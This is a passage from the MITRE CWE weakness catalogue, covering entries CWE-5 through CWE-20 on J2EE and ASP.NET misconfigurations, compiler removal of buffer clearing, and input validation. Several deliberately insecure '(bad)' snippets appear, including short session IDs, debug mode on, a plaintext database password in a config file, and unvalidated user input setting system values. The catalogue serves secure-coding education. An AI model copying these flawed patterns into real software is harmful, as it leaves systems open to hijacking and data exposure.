| CWE-1317: Missing Security Checks in Fabric Bridge..... | 1971 |
| CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses..... | 1973 |
| CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI)..... | 1976 |
| CWE-1320: Improper Protection for Out of Bounds Signal Level Alerts..... | 1978 |
| CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')..... | 1980 |
| CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context..... | 1983 |
| CWE-1323: Improper Management of Sensitive Trace Data..... | 1984 |
| CWE-1324: Sensitive Information Accessible by Physical Probing of JTAG Interface..... | 1985 |
| CWE-1325: Improperly Controlled Sequential Memory Allocation..... | 1987 |
| CWE-1326: Missing Immutable Root of Trust in Hardware..... | 1989 |
| CWE-1327: Binding to an Unrestricted IP Address..... | 1991 |
| CWE-1328: Security Version Number Mutable to Older Versions..... | 1992 |
| CWE-1329: Reliance on Component That is Not Updateable..... | 1994 |
| CWE-1330: Remanent Data Readable after Memory Erase..... | 1996 |
| CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC)..... | 1998 |
| CWE-1332: Improper Handling of Faults that Lead to Instruction Skips..... | 2000 |
| CWE-1333: Inefficient Regular Expression Complexity..... | 2003 |
| CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy..... | 2006 |
| CWE-1335: Incorrect Bitwise Shift of Integer..... | 2007 |
| CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine..... | 2010 |
| CWE-1338: Improper Protections Against Hardware Overheating..... | 2012 |
| CWE-1339: Insufficient Precision or Accuracy of a Real Number..... | 2014 |
| CWE-1341: Multiple Releases of Same Resource or Handle..... | 2017 |
| CWE-1342: Information Exposure through Microarchitectural State after Transient Execution..... | 2020 |
| CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments..... | 2023 |

Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID : 5**Status**: Draft**Structure** : Simple**Abstraction** : Variant

Description

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 319 | Cleartext Transmission of Sensitive Information | 721 |

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Modify Application Data | |

Potential Mitigations

Phase: System Configuration

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|---|---|------|
| MemberOf |  | 2 | 7PK - Environment | 700 | 2024 |
| MemberOf |  | 731 | OWASP Top Ten 2004 Category A10 - Insecure Configuration Management | 711 | 2056 |
| MemberOf |  | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |

Notes

Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: A user manually enters URL and types "HTTP" rather than "HTTPS". Attackers intentionally send a user to an insecure URL. A programmer erroneously creates a relative link to a page in the application, which does not

switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID : 6

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The J2EE application is configured to use an insufficient session ID length.

Extended Description

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------------|------|
| ChildOf |  | 334 | Small Space of Random Values | 761 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1018 | Manage User Sessions | 2148 |

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation: $(2^B + 1) / (2^A \cdot S)$ Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero

bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>If an attacker can guess an authenticated user's session identifier, they can take over the user's session.</i> | |

Potential Mitigations

Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Demonstrative Examples

Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML

(bad)

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation

for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

| | |
|------------------------------|---------------------------|
| Weakness ID : 7 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The default error page of a web application should not display sensitive information about the software system.

Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------|------|
| ChildOf |  | 756 | Missing Custom Error Page | 1430 |

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data <i>A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.</i> | |

Potential Mitigations

Phase: Implementation

Handle exceptions appropriately in source code.

Phase: Implementation

Phase: System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Phase: Implementation

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java

(bad)

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|---|---|------|
| MemberOf |  | 2 | 7PK - Environment | 700 | 2024 |
| MemberOf |  | 728 | OWASP Top Ten 2004 Category A7 - Improper Error Handling | 711 | 2054 |
| MemberOf |  | 731 | OWASP Top Ten 2004 Category A10 - Insecure Configuration Management | 711 | 2056 |
| MemberOf |  | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID : 8

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------------|------|
| ChildOf |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Modify Application Data | |

Potential Mitigations

Phase: Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Demonstrative Examples**Example 1:**

The following example demonstrates the weakness.

Example Language: XML

(bad)

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
    ...
  </enterprise-beans>
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 2 | 7PK - Environment | 700 | 2024 |
| MemberOf |  | 731 | OWASP Top Ten 2004 Category A10 - Insecure Configuration Management | 711 | 2056 |
| MemberOf |  | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |

Notes**Other**

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-----|--|
| 7 Pernicious Kingdoms | | | J2EE Misconfiguration: Unsafe Bean Declaration |
| Software Fault Patterns | SFP23 | | Exposed Data |

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID : 9

Status: Draft

Structure : Simple**Abstraction** : Variant

Description

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 266 | Incorrect Privilege Assignment | 592 |

Common Consequences

| Scope | Impact | Likelihood |
|-------|--------|------------|
| Other | Other | |

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

Demonstrative Examples

Example 1:

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

Example Language: XML

(bad)

```
<ejb-jar>
...
<assembly-descriptor>
  <method-permission>
    <role-name>ANYONE</role-name>
    <method>
      <ejb-name>Employee</ejb-name>
      <method-name>getSalary</method-name>
    </method>
  </method-permission>
</assembly-descriptor>
...
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID : 11

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Debugging messages help attackers learn about the system and plan a form of attack.

Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------|------|
| ChildOf | B | 489 | Active Debug Code | 1073 |

Applicable Platforms

Language : ASP.NET (*Prevalence = Undetermined*)

Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data <i>Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.</i> | |

Potential Mitigations

Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Demonstrative Examples

Example 1:

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Example Language: XML

(bad)

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <system.web>
    <compilation
      defaultLanguage="c#"
      debug="true"
    />
    ...
  </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID : 12

Status: Draft

Structure : Simple

Abstraction : Variant

Description

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------|------|
| ChildOf |  | 756 | Missing Custom Error Page | 1430 |

Applicable Platforms

Language : ASP.NET (*Prevalence = Undetermined*)

Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data | |
| | <i>Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i> | |

Potential Mitigations

Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

CWE Version 4.6**CWE-13: ASP.NET Misconfiguration: Password in Configuration File***Example Language: ASP.NET**(bad)*

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

*Example Language: ASP.NET**(good)*

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

*Example Language: ASP.NET**(good)*

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

CWE-13: ASP.NET Misconfiguration: Password in Configuration File**Weakness ID :** 13**Status:** Draft**Structure :** Simple**Abstraction :** Variant**Description**

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 260 | Password in Configuration File | 584 |

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

Demonstrative Examples

Example 1:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID : 14

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

- 1. Secret data are stored in memory.
- 2. The secret data are scrubbed from memory by overwriting its contents.
- 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 733 | Compiler Optimization Removal or Modification of Security-critical Code | 1415 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Confidentiality Access Control | Read Memory Bypass Protection Mechanism | |
| <i>This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.</i> | | |

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

Demonstrative Examples

Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

Example Language: C

(bad)

```
void GetData(char *MFAAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the

advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Affected Resources

- Memory

CWE-15: External Control of System or Configuration Setting

Weakness ID : 15

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

One or more system settings or configuration elements can be externally controlled by a user.

Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| ChildOf |  | 20 | Improper Input Validation | 19 |

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation**Phase: Architecture and Design**

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Phase: Implementation**Phase: Architecture and Design**

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

Demonstrative Examples**Example 1:**

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

Example Language: C

(bad)

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:

The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

Example Language: Java

(bad)

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

CWE-20: Improper Input Validation

Weakness ID : 20

Status: Stable

Structure : Simple

Abstraction : Class

Description

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

- raw data - strings, numbers, parameters, file contents, etc.
- metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

- specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
- implied or derived quantities, such as the actual size of a file instead of a specified size
- indexes, offsets, or positions into more complex data structures
- symbolic keys or other elements into hash tables, associative arrays, etc.
- well-formedness, i.e. syntactic correctness - compliance with expected syntax
- lexical token correctness - compliance with rules for what is treated as a token
- specified or derived type - the actual type of the input (or what the input appears to be)
- consistency - between individual data elements, between raw data and metadata, between references, etc.
- conformance to domain-specific rules, e.g. business logic
- equivalence - ensuring that equivalent inputs are treated the same
- authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Relationships

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Host Application Interface Scanner Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phase: Architecture and Design

Phase: Implementation

